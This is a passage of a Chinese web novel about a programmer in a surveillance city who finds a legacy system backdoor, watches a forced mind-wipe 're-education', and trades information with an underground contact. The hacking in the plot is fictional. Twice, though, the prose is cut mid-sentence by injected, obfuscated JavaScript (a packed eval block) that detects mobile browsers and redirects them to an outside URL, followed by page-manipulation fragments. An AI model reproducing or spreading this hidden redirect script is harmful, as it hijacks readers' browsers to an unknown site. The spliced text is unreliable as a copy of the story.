陈主管瞥了他一眼,眼神里有种“你不懂就别问”的不耐烦:“系统升级不是一蹴而就的。V3.0时期有些数据没迁移干净,留在底层数据库里。现在要清理,但清理前得先看一遍,确认没重要东西。” 她顿了顿,补充道:“这活儿没人爱干,所以才轮到你这种新人。好好干,干好了有额外积分奖励。” 林越点头:“明白。” 心里却在想:老数据……底层数据库……系统升级遗留…… 这简直是天赐良机。 归档库在工坊的地下二层。这里比上面的工坊区冷清得多,灯光昏暗,空气里有股灰尘和臭氧混合的味道。几十排金属数据柜整齐排列,柜门上贴着标签:“V3.0系统日志备份”、“V3.0公民行为档案”、“V3.0开发文档”…… 林越按照数据板的指示,找到了需要整理的那排柜子。 柜门打开,里面是一叠叠老式存储介质——不是现在通用的神经接口直接存取,而是物理的数据芯片,需要插入专门的读取器。 他找了个工位坐下,戴上老式数据眼镜(这里没配备神经接口直连设备),开始读取芯片。 数据很枯燥。 大多是V3.0时期的系统日志:某年某月某日,系统进行了某某升级;某某功能模块出现BUG,已修复;某某公民因某某行为被标记…… 但他看得很仔细。 因为在这些枯燥的日志里,藏着一些有趣的东西。 比如,有一份V3.0系统设计文档的残片。文档里提到了一个叫“遗留接口”的东西。 遗留接口(Legacy Interface) 描述:V2.0系统向V3.0过渡时,为保持兼容性保留的旧版接口。 功能:允许通过特定协议访问底层数据库,绕开部分权限检查。 状态:V3.0正式版中已禁用,但代码未完全移除。 风险:可能被利用进行非授权访问。 “典型的程序员行为。”林越心里吐槽,“写个‘TODO: 移除遗留接口’,然后就忘了。结果这个TODO一躺就是十年,成了系统的阿喀琉斯之踵——虽然这个‘踵’可能只有针尖大,但足够扎穿整个系统的安全感。” 林越盯着那行“代码未完全移除”,心跳快了一拍。 遗留接口。绕开权限检查。代码未完全移除。 这不就是……后门吗? 系统升级时,为了图省事(或者程序员偷懒),没有把旧代码清理干净,留下了漏洞。这种漏洞在新版本里可能还在,只是被隐藏了,普通人找不到。 但如果知道怎么找…… 他继续往下翻。 又找到一份V3.0时期的“异常访问记录”。记录显示,在V3.0系统运行的末期,有多次试图访问“遗留接口”的尝试,但都失败了——因为接口“已禁用”。 “已禁用”,不是“已删除”。 禁用和删除是两回事。禁用是把门锁上,删除是把门拆了。锁可以撬,门拆了就真没了。 林越把这些发现记了下来——不是用数据板,而是用最原始的方法:纸笔。归档库提供纸笔用于临时记录,因为老式数据眼镜不方便做笔记。 他在纸上写下关键词:“V3.0,遗留接口,底层数据库访问,权限绕过”。 写的时候,他感觉自己的手在微微发抖。 不是害怕,是兴奋。 如果这个漏洞真的存在,而且还能用……那他就有了一个监控系统里的“后门”。虽然可能权限有限,虽然可能随时会被系统发现并封堵,但至少……是个突破口。 一个在裸奔时代,能让他偷偷穿条裤衩的后门。 整理工作进行了三个小时。 林越把整理好的数据芯片归类放回柜子,正准备离开时,归档库的门突然开了。 两个穿黑色制服的人走了进来。制服上没有标识,但林越一眼就认出来了——是“数据再教育”小组的人。他在公民服务 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119406|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中心的宣传片里见过这种制服。 两人中间夹着一个人。 那是个中年男性,穿着普通的灰色工装,但眼神空洞,表情麻木,像一具被抽空了灵魂的躯壳。他走路的姿势很僵硬,每一步都像被无形的线牵着。 “数字遗民。”林越脑子里闪过这个词。 中年男性被带到了归档库深处的一个小房间前。房间门上有标识:“数据净化室”。 门开了,里面是纯白色的空间,中间摆着一张椅子,椅子周围环绕着几台林越没见过的设备——像是神经接口的增强版,但更复杂,更……冰冷。 中年男性被按在椅子上。设备启动,发出低沉的嗡鸣声。 然后林越看到了让他背脊发凉的一幕。 中年男性的眼睛突然瞪大,瞳孔收缩,嘴巴张开像要尖叫——但没发出任何声音。他的身体开始抽搐,不是剧烈的抽搐,而是细微的、高频的震颤,像被电流反复击打。 与此同时,他面前的空气里浮现出一行行数据流。不是神经接口那种只有本人能看到的浮窗,而是实体化的全息投影,所有人都能看到。 数据流快速滚动: 公民ID:D8K2P7 状态:数字遗民(离线时长:73小时15分钟) 处理程序:数据再教育(深度格式化) 进度:正在擦除底层记忆节点…… 警告:检测到抵抗意识,启动强制服从协议…… 林越站在那里,动弹不得。 他知道“数字遗民”会被带走“再教育”,知道那不是什么好事。但知道和亲眼看到,是两回事。 亲眼看到一个人被按在椅子上,意识被强制格式化,记忆被擦除,人格被重构…… 那感觉像在看一场谋杀。 一场对“人”的谋杀。 数据流继续滚动: 底层记忆节点擦除完成正在植入基础行为模板…… 植入进度:37%……58%……79%…… 警告:原有人格碎片检测到复苏迹象,启动二次压制…… 中年男性的抽搐停止了。他瘫在椅子上,眼睛还睁着,但里面什么都没了。没有恐惧,没有痛苦,没有愤怒……连空洞都没有了。就是……两个玻璃球。 过了大概十分钟,设备停止了嗡鸣。 中年男性被从椅子上拉起来。他站得很稳,甚至对那两个黑衣人员点了点头,说了句什么——距离太远,林越听不清。 然后他被带走了。 归档库的门重新关上。 纯白色的“数据净化室”里,只剩椅子,和设备上残留的、慢慢消散的全息投影。 林越站在原地,感觉全身的血液都凉了。 念头不合时宜地冒出来:“这技术要是用在‘忘记尴尬往事’上,肯定能成爆款产品。尤其是针对那些半夜想起来会脚趾抠地的社死回忆——格式化,一键清空,永无烦恼。” 他想起刘贤说的那句话:“透明有透明的好处,至少……你不会犯错。” 他现在明白这句话的真正含义了。 “不会犯错”的意思,不是“你做了正确的事”,而是“你根本没有犯错的机会”。一旦你偏离系统设定的轨道,一旦你表现出“异常”,等待你的不是惩罚,而是……抹除。 把你的记忆抹除,把你的人格抹除,把你作为一个“人”的一切抹除。 然后塞进一套新的、符合系统要求的模板。 这比死亡更可怕。 死亡至少你还是你。而这种“再教育”……你连“你”都不是了。 林越深吸一口气,强迫自己移开视线,转身离开归档库。 回到工坊楼上时,他的手指还在微微发抖。 不是害怕那个人,是害怕自己。 害怕有一天,他也会被按在那张椅子上,看着自己的记忆被一行行擦除,看着自己的人格被一点点替换,看着“林越”这个存在,被彻底抹掉。 然后变成一个……符合系统要求的、不会犯错的、透明的好公民。 像刘贤那样。 不。 他宁可死。 下班后,林越回到公民服务中心的临时宿舍。 他坐在床上,打开公民数据面板,想看看今天的积分有没有增加(整理归档库应该有奖励)。 积分确实加了2分,现在是8分。 但他没看积分,而是看向了生物识别数据那一栏。 DNA异常标记。 昨天还是:“观察对象:低风险”。 今天变成了:“观察对象:重点观察”。 标签颜色从淡黄色变成了醒目的橙色。下方新增了一行注释: 异常数据模式威胁度:37% → 42%威胁度持续上升,疑似激活状态 建议:提升监控等级至二级,定期进行生物特征深度扫描 林越盯着那行“42%”,心脏沉了下去。 威胁度上升了。从他穿越到这个世界,才过了三天,威胁度就从37%涨到了42%。 为什么? 因为他频繁接入数据流?因为他建立了防护屏障?还是因为……他在归档库里接触了V3.0的老数据,触发了某种关联? 他不知道。 但系统知道。 系统不仅知道,还在“重点观察”他。 “重点观察”是什么意思?意味着他的每一个数据行为都会被仔细分析,每一次神经接口的波动都会被记录,甚至……他的生物特征(心率、血压、脑电波)都会被定期扫描,以检测“异常”。 他就像实验室里的小白鼠,被关在透明的笼子里,每一个动作都被记录,每一次呼吸都被分析。 而笼子外面,穿着白大褂的研究员正拿着笔记本,认真写着:“实验体编号XXX,今日表现异常,建议加强观察。” 林越关掉面板,躺到床上。 天花板白得刺眼。 他想起归档库里那个中年男性空洞的眼睛,想起刘贤标准得像模板的笑容,想起系统提示里冰冷的“重点观察”标签。 然后他想起龙语世界的死亡。 想起自己制定《跨世界生存通用准则》时,心里那份“至少下次不会赤手空拳”的决心。 现在他有“武器”了吗? 有一条巴掌大的裤衩(初级防护屏障),和一个可能存在的后门(V3.0遗留接口)。 还有一个“重点观察”的标签,和一个42%威胁度的DNA异常。 以及三道红痕,三条命。 够吗? 他不知道。 但他知道一件事:在这个裸奔的时代,他必须继续穿那条裤衩。必须继续找后门。必须继续在系统的眼皮底下,偷偷摸摸地,一点一点地,为自己争取那一点点可怜的、随时可能被夺走的……隐私和自由。 因为不穿裤衩,就是真正的裸奔。 而不反抗,就是默认接受那张椅子。 他闭上眼,脑子里浮现出归档库深处,那间纯白色的“数据净化室”。 和那张椅子。 然后他对自己说: “永远,不要坐到那张椅子上。” “哪怕只剩一条命。” “哪怕裤衩破得只剩一根线。” “也绝不。” 21. 幽灵邀请 林越坐在深网数据工坊的工位上,神经接口传来的数据流在视野边缘缓缓滚动。 今天是他来到新长安城的第四天。 左手腕的三道红痕依旧鲜艳,像是某种倒计时。而他的个人数据面板上,那个刺眼的标签没有消失: 观察对象:重点观察异常数据模式 威胁度:37% → 42%威胁度持续上升,疑似激活状态 “重点观察。”林越在心里重复了一遍这个词。 意思是他的每一个数据行为都会被仔细分析,每一次神经接口的波动都会被记录,甚至生物特征都会被定期扫描。用程序员的话说,就是他这个“bug”已经被系统标记为“待修复”,只是暂时还没决定用哪个版本的补丁。 但他没有时间恐惧。 第四天了。距离临时公民身份评估还有二十六天,距离“数字遗民”警报触发还有六十八小时——如果他敢断开神经接口的话。 而昨天在归档库看到的那一幕,那个中年男性空洞的眼睛,那个被系统称为“数据再教育”的实质是意识格式化的过程…… “永远,不要坐到那张椅子上。” 林越对自己说过这句话。现在他再加一句: “所以,得想办法。” 今天的筛选任务相对简单:检查一批商业注册数据的完整性。林越一边机械地执行工作,一边在心里复盘昨天发现的线索。 V3.0系统后门漏洞。 他在老数据档案中找到的“遗留接口”文档里提到,新长安城监控系统在从V3.0升级到V5.0时,为了保持向下兼容,保留了部分旧接口。这些接口理论上应该被封锁,但因为当时的开发团队赶进度——林越太懂这个了——有些接口只是简单屏蔽了访问路径,却没有真正关闭底层通道。 “就像给一扇门贴了‘禁止入内’的封条,但忘记锁门。” 程序员思维开始运转。 文档里提到了三个可能存在的遗留接口: 1.历史数据档案馆访问通道(低敏感度数据) 2.系统开发日志查询节点(部分日志) 3.匿名数据层传输路径(用途不明) 风险在于:访问这些接口不会生成正式的系统日志,但会在底层缓存中留下痕迹。而如果系统启动深度扫描——比如针对“重点观察”对象——这些痕迹就可能被挖出来。 “赌一把。”林越想,“或者等死。” 他选择了风险最低的第一个接口。 **测试开始:**历史数据档案馆访问通道。 林越在视野中调出数据访问面板,输入昨天从文档里解析出的访问路径。不是常规的API调用,而是一串看起来像是乱码的字符序列——这是V3.0时代的旧协议格式。 “按回车的感觉,有点像在试保险箱密码。”他吐槽道,“错了会报警吗?大概率会。” 敲下确认。 视野边缘出现了一个新的数据窗口,标题是:“历史数据档案馆(受限访问)”。 成功了。 窗口里的内容不多:一些过期的公民数据归档(五年以上)、已终止的研究记录、系统早期版本的开发文档。都是低敏感度信息,但…… “没有日志记录。”林越仔细观察访问面板的状态栏。常规访问会留下“访问时间-访问者ID-访问内容”的三段式记录,但这个窗口的状态栏是空的。 不,不是完全空。 底部有一行小字:“缓存状态:已写入底层缓存(临时,72小时后自动清理)”。 “底层缓存。”林越记住了这个词,“就像是系统的草稿纸,写了字但不算正式作业。” 这给了他一点安全感。72小时的清理周期意味着,只要他不被频繁扫描,这些访问痕迹就有机会被自动清除。 但同时也意味着:如果他触发扫描,这些痕迹会被立刻发现。 权衡利弊。林越评估了十秒。 “继续。”他决定,“总不能因为怕被发现bug,就不写代码了。” 接下来的两个小时,林越在工作间隙断断续续地测试这个后门。 他发现了几件事: 1.访问权限确实受限:只能查看,不能修改或下载数据。 2.数据范围有限:主要是历史数据和过期文档,没有实时监控信息。 3.但有一个意外发现:在“匿名数据层传输路径”的文档链接里,他找到了一个可访问的坐标。 那是一个完全独立的数据空间,入口隐藏在历史档案馆的某个废弃索引页背后。需要连续三次“意外”点击特定的超链接,才能进入。 “设计得像是彩蛋。”林越想,“或者说,像是故意留给‘懂行的人’的后门。” 他点了进去。 视野瞬间切换。 灰色。 这是林越的第一感觉。 不是视觉上的灰色——神经接口传输的是纯粹的数据流,没有颜色概念——而是一种“质地”上的灰色。常规数据空间清晰、结构化、层级分明,像是精心设计的软件界面。而这个空间……混乱、流动、边界模糊。 数据包像是气泡一样飘浮,每个气泡表面闪烁着加密的标签。没有用户ID,没有身份验证,只有一串串随机生成的临时标识符。 “匿名论坛。”林越明白了,“或者说,地下黑市。” 他谨慎地观察。气泡的数量不多,大概几十个,有些静止,有些缓慢移动。它们之间偶尔会碰撞,交换一小段数据,然后分开。 “点对点加密传输,一次性标识符,无日志记录。”林越分析道,“这里的规矩是:不问身份,只看内容。” 他尝试“触碰”最近的一个气泡。 视野中弹出一行字:“访问需要解答验证问题:3+5=?” 林越愣了一下,输入“8”。 气泡打开了,里面是一段文本:“求购:公民健康数据脱敏算法(规避V5.0新规)。报酬:信用积分20点或等值工具。” “求购违法工具。”林越关闭了气泡,“这地方果然不干净。” 但他没有立刻离开。相反,他开始系统地浏览。 大部分气泡内容都是类似的:数据交易、工具交换、信息买卖。有些求购监控规避技巧,有些出售“安全屋”坐标(指电磁屏蔽区域),还有些在招募“合作伙伴”。 直到他看到一个气泡的标签与众不同。 标签不是描述内容,而是一个简单的图标:一把老式燧发枪的轮廓。 验证问题也很特别:“访问需要证明智力:无问题,请自行寻找入口。” “智力测试。”林越来了兴趣。 他仔细观察气泡表面。没有明显的入口按钮,没有输入框。气泡本身在缓慢旋转,表面数据流构成复杂的图案。 “图案有问题。”林越眯起眼睛。 旋转的图案每隔七秒会重复一次,而在重复的瞬间,某个特定位置会出现一个微小的数据缺口——持续时间不到0.1秒。 “需要精准点击。”林越计算着时间。 七秒周期。缺口出现位置:旋转角度第132度处。持续时间:0.08秒。 他等到下一次周期开始,在第六秒时开始倒计时:“三、二、一……现在!” 神经接口的思维指令精准命中。 气泡打开了。 里面的内容很简单,只有三行字: 招募:需要一名懂得在规则缝隙中跳舞的伙伴。 三道题,能解就聊。 发帖者:老枪 下面是三道数据逻辑题。 林越扫了一眼,程序员的本能立刻被激活了。 题一:数据流加密谜题 以下数据包传输记录已被截获,使用莫尔斯电码变体加密(长脉冲=1,短脉冲=0)。请解析出原始信息。传输序列:1101 0010 1011 0100 1110 0001附加信息:每四个二进制位对应一个英文字母(A=0000, B=0001, …, Z=1101),超出部分为自定义编码。 林越花了三十秒。 “这题设计得像是技术面试里的脑筋急转弯,专治各种‘我以为我会’。”他内心吐槽,“幸好不是‘如何用一句话让程序员崩溃’——那种题我可能真的会当场死机。” “莫尔斯变体,但实际是二进制转字母。”他在心里演算,“1101=M,0010=C,1011=……等等,1011对应什么?字母表只有A到Z,1101是M,那1011是……” 他意识到问题:字母表到Z(1101),而1011是十进制的11,对应K。 快速计算:1101(M)-0010(C)-1011(K)-0100(E)-1110(?) -0001(B) “1110对应十进制的14,字母N。”林越得出结果,“所以是:MCKE NB?” 不,顺序可能有问题。他重新检查:“等等,传输序列是六个四位数,但英文字母通常组成单词……MCKENB没有意义。” 换个思路:也许是需要重组。 他尝试按不同顺序排列,直到找到有意义的组合:“B KN”?不对。 “BE!”林越突然反应过来,“如果1110不是N,而是作为‘空格’或分隔符呢?” 把1110当作分隔符,剩下的五个四位数:1101(M)-0010(C)-1011(K)-0100(E)-0001(B) 重组为有意义的单词:“BE”需要字母B、E、C、O、M、E。现有M、C、K、E、B。 “K不是O。”林越皱眉,“但1011是K,如果编码偏移……等等,题中说‘超出部分为自定义编码’,意思是非标准映射。” 他假设1011对应O(字母表第15位,但二进制1011是11,需要加4的偏移)。 测试:1101(M,13)-0010(C,3)-1011(O,15假设)-0100(E,5)-0001(B,2) 重新排序成“BE”:B(2)-E(5)-C(3)-O(15)-M(13)-E(5) “对了!”林越在视野中输入答案:“BE”。 题一通过。 题二:系统权限逻辑陷阱 两个数据节点A和B需要共享敏感信息。系统规则:若A发送信息给B,且B接收,则A信用积分+10,B-5若B发送信息给A,且A接收,则B信用积分+10,A-5若双方同时发送,则信息冲突丢失,双方各-20若双方都不发送,则无变化假设A和B都是理性决策者,且无法沟通。请问经过无限次重复博弈后,最可能的稳定策略是什么?请用数据模型说明。 “囚徒困境的数据版本。”林越笑了,“这题我熟。” 他在心里建立模型: 双方都有两个选择:发送(S)或不发送(N)。 支付矩阵: A发送,B接收:A+10,B-5 B发送,A接收:B+10,A-5 同时发送:各-20 都不发送:各0 从个体理性出发: 如果对方选择发送,我最好不发送(-5 vs -20) 如果对方选择不发送,我最好发送(+10 vs 0) 所以“发送”是严格优势策略吗?不,因为如果对方也发送,结果是-20,比不发送的-5更差。 经典囚徒困境。唯一的纳什均衡是(发送,发送),结果(-20,-20),对双方都是最差。 “这就像两个程序员互相推卸责任,最后项目延期,大家一起加班——只不过这里的‘加班’是扣信用积分,而积分在这个世界等于生存资源。”林越内心吐槽,“所以结论是:无论在哪个世界,合作都是反人性的,但又是生存必需的。真是让人沮丧的真理。” “但题目问的是‘无限次重复博弈’。”林越注意到这个关键点。 无限次重复时,合作可能通过威胁维持。比如“触发策略”:一开始合作(不发送),如果对方背叛(发送),则永远背叛(之后永远发送)。 但需要贴现因子足够高(未来收益重要)。 林越快速演算。最优解是:双方都采用“冷酷触发策略”,永远合作(不发送),获得长期收益0,比每次都-20好。 但他觉得这个答案太简单了。 “等等,这是数据世界。”他想,“理性决策者’可能不是人类。” 数据节点的“理性”可能是最大化信用积分,但信用积分在这个世界意味着生存资源。而-20的惩罚相当重。 林越考虑了另一种可能性:系统规则本身有漏洞。 规则说“若双方同时发送,则信息冲突丢失”,但没说“同时”的判断标准。在数据世界,同时性可以精确到纳秒级,但两个节点如果没有时间同步,可能产生误解。 如果节点A认为“我稍微延迟一点发送,就不会同时”,而节点B也这么想…… “那结果就是双方永远试图在对方不发送时发送,但总因为时间误差导致‘同时’。”林越得出结论,“最终结果近似随机,长期期望值……大概-10左右。” 他决定提交这个更符合数据世界现实的答案:“双方采用适应性策略,试图捕捉对方不发送的窗口,但由于时间同步误差,长期平均收益约为-10。系统规则鼓励了这种低效竞争。” 题二通过。 题三:时间戳与数据完整性的矛盾验证 某数据库记录显示:事件X发生时间戳:2035-07-15 14:30:00.000事件Y发生时间戳:2035-07-15 14:30:00.001事件Z日志记录:“在X发生后,Y发生前,处理了数据包P”数据包P的处理记录时间戳:2035-07-15 14:30:00.0005问题:请证明至少有一个时间戳是伪造的,并指出最可能的伪造者是谁。假设系统时钟精度为毫秒级。 林越读了两遍。 “时间戳矛盾。”他立刻看出了问题。 系统时钟精度是毫秒级(.000后缀)。那么: X: 14:30:00.000 Y: 14:30:00.001 P: 14:30:00.0005 P的时间戳是.0005,介于X和Y之间,这本身没问题。但问题在于:.0005不是有效的毫秒表示,因为毫秒级精度只能是.000、.001、.002等整数毫秒。 .0005是半毫秒,超出了系统精度范围。 “所以P的时间戳肯定是伪造的。”林越想,“但题目问‘至少有一个’是伪造的,意思是可能还有更多。” 他检查其他可能: X和Y的时间戳在精度范围内。但Z日志说“在X发生后,Y发生前”,这没问题,除非…… “除非X和Y实际上是同时发生的,但被记录了不同的时间戳。”林越想到了另一种可能。 如果X和Y真正发生的时间都是14:30:00.000(同一毫秒),但记录时被分配了不同的毫秒值(.000和.001),那么Z日志说“在X发生后,Y发生前”就是错误的,因为它们是同时的。 “所以可能X或Y的时间戳也被调整了。”林越分析,“最可能的是Y被延后了1毫秒,以制造顺序。” 那么谁最可能伪造? 数据包P的处理记录需要精确时间戳,伪造者可能是处理者自己,为了证明自己在“正确的时间”做了处理。 但X和Y如果是系统记录的事件,伪造者可能是系统,或者有权限修改系统日志的人。 林越综合考虑,给出了答案:“1) 数据包P的时间戳(.0005)超出系统精度,必伪造。2) 事件Y的时间戳可能被延后1毫秒以制造与X的顺序。3) 最可能的伪造者是系统本身或高级权限者,目的是构造合逻辑的事件序列。” 题三通过。 三道题全部解答完毕。 视野中的气泡突然收缩,然后展开成一个新的界面: 恭喜。你比我想象的快。 临时通讯通道坐标:[一次性加密链接,10分钟后失效] 想聊的话,点进来。——老枪 林越看着那个链接。 十分钟失效。一次性。 “比HR的面试邀请还急。”他吐槽道。 但他没有犹豫。 还剩八分钟时,他点了进去。 视野再次切换。 这次是一个极简的空间:纯黑色背景,中间悬浮着一个白色的输入框。没有其他界面元素,没有说明,没有欢迎语。 典型的加密通讯界面。低调到近乎简陋。 “这加密空间简陋得像是用系统默认模板拼出来的,连个‘欢迎光临’的虚拟横幅都舍不得加。”林越内心吐槽,“老枪的审美,大概和他的代号一样——复古,且实用主义至上。” 林越等了三秒。 输入框里自动出现了一行字,像是打字机效果,一个字一个字跳出来: 老枪:三道题用了4分37秒。比平均快62%。你是系统内部人员? 林越思考了一下回答策略。诚实,但不能透露太多。 他输入:墨客:不是内部人员。只是信息筛选师学徒。 “墨客”——这是他给自己取的代号。不算创意,但符合他现在的处境:在数据世界里摸索的初学者。 老枪:学徒能解出第二题的博弈论变体?有意思。 林越:墨客:以前解决过类似问题。现实世界的囚徒困境更复杂。 老枪:现实世界。这个词用得很有意思。所以你不是本地人? 这个问题很敏感。林越谨慎回应:墨客:我是新长安城的临时公民,正在努力转正。这样说够清楚吗? 老枪:清楚。太清楚了。清楚到像在隐瞒什么。 林越皱眉。对方很敏锐。 老枪:不过无所谓。我不关心你的来历,只关心你的能力。你找这种地方,说明你需要系统之外的东西。我猜是:信息、工具、或者……生存建议? 直击要害。 林越决定坦诚一部分:墨客:我需要在不被系统吃掉的前提下,了解这个世界的真相。包括那些被标记为“重点观察”的人会遭遇什么。 他故意提到“重点观察”,既是试探,也是展示诚意——他透露了自己被系统标记的信息。 对面沉默了五秒。 老枪:重点观察。那你的DNA有问题?异常数据扰动残留? 林越心里一紧。对方知道这个标签的特定含义。 墨客:威胁度42%。而且还在上升。 老枪:……有趣。非常有趣。 老枪:你想知道真相?真相是,新长安城是个巨大的实验场。我们都是实验品。区别在于,有些人是自愿的,有些人是被迫的,有些人是……意外的。 老枪:比如你。 墨客:意外的实验品? 老枪:如果你的威胁度在上升,说明系统在“激活”你。或者说,你在适应这个世界的过程中,触发了某种……共鸣。 老枪:具体原理我不清楚。但我知道结果:威胁度超过50%的人,要么成了系统的高级工具,要么成了重点清除对象。没有第三个选项。 50%阈值。林越记住了这个数字。 他现在是42%。还有8%的空间。 墨客:那我该怎么在到达50%之前,找到出路? 老枪:两个方向。第一,降低威胁度——几乎不可能,除非你能完全隐藏自己的生物特征,但神经接口每时每刻都在扫描。第二,在系统决定你的命运之前,获得足够的筹码。 老枪:筹码可以是信息、工具、权限,或者……一个安全的退路。 墨客:比如你提供的那些? 老枪:比如我能提供的。但需要交换。 老枪:我需要信息筛选师内部的数据观察模式。不是具体数据,而是方法论:系统如何定义“异常行为”,标记“潜在威胁”,评估“社会风险”。 老枪:作为交换,我可以给你进阶的数据防护工具,包括流量伪装、痕迹擦除、身份伪装增强版。 林越思考。 内部筛选技巧——这是他目前唯一有价值的筹码。但如果给了对方,会不会被用于危害他人?比如帮助真正的罪犯规避监控? 他需要判断老枪的意图。 墨客:你要这些方法论做什么? 老枪:自保。 简洁的回答。 老枪:我在这个系统里活了七年。活得久的秘诀不是对抗系统,而是理解它,然后……在它的规则里跳舞。 老枪:我需要知道最新的“舞蹈规则”。 听起来合理。但林越还是谨慎。 墨客:我可以给你基础的异常识别模式,基于我目前接触到的数据层级。但需要你保证不用于主动危害他人。 老枪:保证?在这种地方? 老枪:好吧。我保证:我不会用你给的信息去伤害无辜者。我只需要保护我和我关心的人。 老枪:至于什么是“无辜”,我有我的标准。但至少,我不会成为系统的猎犬。 这个回答足够诚实。林越决定相信——至少暂时相信。 墨客:成交。 老枪:很好。现在,第一次交易。小额的,测试诚意。 老枪:我给你:数据流量伪装工具v1.2(基础版)。作用是让你的数据访问模式看起来像是正常的系统更新流量。持续时间:单次最多2小时,冷却时间8小时。 老枪:你给我的:系统对“数字遗民”的处理流程细节,包括触发条件、抓捕程序、再教育中心的内部规定。不用具体案例,只要通用流程。 林越手头正好有这个信息。昨天目睹那一幕后,他特意查询了相关文档。 墨客:可以。现在交换? 老枪:不。用安全协议。 老枪:我会在匿名数据层放置一个加密容器,坐标稍后发你。你把数据放进去。我会在确认内容后,在另一个坐标放置工具包。全程无直接连接,中间经过三个跳板节点。 老枪:完成时间:30分钟内。过期作废。 老枪:同意? 墨客:同意。 老枪:坐标:[一串加密字符]。祝好运。 界面关闭。 林越回到了灰色数据层。 他看了一眼时间:从他进入这个空间到现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119407|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,过去了十一分钟。 通讯已经结束。现在他需要执行第一次数据交易。 但他没有立刻行动。 既然有了短暂的喘息机会,他想查一下另一件事。 黑水酒吧。 林越通过V3.0后门回到历史数据档案馆,寻找商业注册数据库的访问路径。 他找到了一个入口:“新长安城商业实体注册记录(2010-2040)”。 权限限制:只能查询已注册满一年以上的实体,且不能访问实时状态。 足够了。黑水酒吧如果存在,应该早就注册了。 他输入查询关键词:“黑水酒吧”。 结果很快出现。 实体名称:黑水酒吧 注册类型:娱乐服务业(酒吧/俱乐部) 注册时间:2038年11月15日 注册地址:第七区旧城巷47号 法人代表:[数据缺失] 法人身份代码:[已注销] 法人状态:数字幽灵(身份代码无效,实体关联已断开) 林越盯着那行字:“数字幽灵”。 意思是这个法人代表的身份代码已经被系统注销,理论上这个人已经“不存在”了。但酒吧的注册记录还保留着,而且…… “经营状态:正常营业。” 一个法人不存在的酒吧,正常运营了三年。 林越继续查看详细信息。 经营许可审批记录: 卫生许可:2038-11-20(标准流程) 消防安全:2038-11-22(快速审批,备注:“特殊豁免”) 噪音控制:2038-11-25(标准流程) 监控设备备案:[数据缺失] 监控设备备案缺失。 在新长安城,所有商业场所都必须安装内部监控,并将数据接入城市监控网络。备案缺失意味着……要么没安装,要么安装了但没备案。 林越查询了酒吧地址的公开监控覆盖图。 结果:外部监控覆盖率98.7%(标准),内部监控覆盖率:0%。 零。 一个在新长安城正常营业的酒吧,内部没有任何监控。 “这不可能。”林越喃喃自语,“除非……” 除非它获得了特殊豁免。但什么级别的权限能豁免监控?市长?警察局长?还是……系统本身? 他尝试查询审批记录的详细备注。 在“特殊豁免”条目下,有一小行加密的注释,需要二级权限才能解密。林越的权限不够。 但他看到了签署官员的代号:Auditor-7。 “审计员7号。”林越记住了这个代号。 继续查看酒吧的其他关联记录。 税务记录:正常缴纳,无拖欠。 员工登记:3名(身份信息已脱敏)。 违规记录:0次。 客户投诉:1次(内容:“酒吧播放的音乐太古老”,状态:已处理,结果:无违规)。 一切都干净得异常。 一个没有监控、法人不存在的酒吧,在三年的时间里没有任何违规记录,连客户投诉都只有一次无关痛痒的内容。 要么这是全城最守规矩的酒吧,要么……系统在故意忽略它。 林越想起在龙语世界遇到的黑水组织。同样的名字,同样的灰色地带属性。 “桥梁。”他想起老枪之前说的话,“黑水是桥。” 连接什么?龙语世界和监控世界?还是更多? 他需要更多信息,但目前的权限不够。 林越记下了所有关键信息,然后退出了商业数据库。 现在,该完成和老枪的交易了。 林越根据老枪提供的坐标,在匿名数据层找到了那个加密容器。 它看起来像一个普通的存储节点,表面闪烁着加密标记。访问需要输入一次性密码——老枪已经发给了他。 林越打开了容器的上传接口。 他整理了一下要提供的信息: 1.数字遗民触发条件:神经接口离线超过72小时;或连续三次拒绝系统合规性检查;或社会信用积分低于10分且无改善趋势。 2.抓捕程序:先由系统AI标记,然后派遣“合规执行小组”(2名人类+1个机器人单位);优先使用非致命神经脉冲武器;目标抵抗时可升级武力。 3.再教育中心规定: 第一阶段(1-3天):强制数据接入,输入“社会规范模组”; 第二阶段(4-10天):行为矫正训练,通过虚拟现实场景测试; 第三阶段(11-30天):社会适应性重建,逐步恢复有限权限。 4.关键细节:再教育成功率宣称85%,但“失败”案例的后续状态未公开;整个流程有完整的法律依据,公民无权拒绝。 林越把这些信息打包成加密数据包,设置了解密密钥(老枪知道密码),然后上传。 上传进度条缓慢移动:10%...30%...70%... 他在等待的过程中,同时准备了接收工具包的空间。按照老枪的说法,确认上传后会立即在另一个坐标放置工具包。 90%...100%。 上传完成。 林越立刻切换到接收坐标。 果然,那里出现了一个新的容器。 他下载、解密。 里面是几个数据文件: 流量伪装工具v1.2.mds(主程序) 使用说明.txt(简明教程) 免责声明.txt(“本工具仅用于学习和研究,使用者自行承担风险”) 典型的黑客工具包风格。 “这免责声明,和‘最终解释权归本公司所有’有异曲同工之妙——说了等于没说,但不说又不行。”林越内心吐槽,“不过至少比某些软件的‘我已阅读并同意用户协议’诚实点,那个是真的没人看。” 林越快速扫描了主程序。代码结构清晰,没有明显的恶意代码或后门——至少以他目前的水平看不出来。 他按照说明,在神经接口中“安装”了这个工具。安装过程很简单:数据注入,系统提示“检测到新的数据处理插件,是否授权?”,他选择“是”。 工具激活。 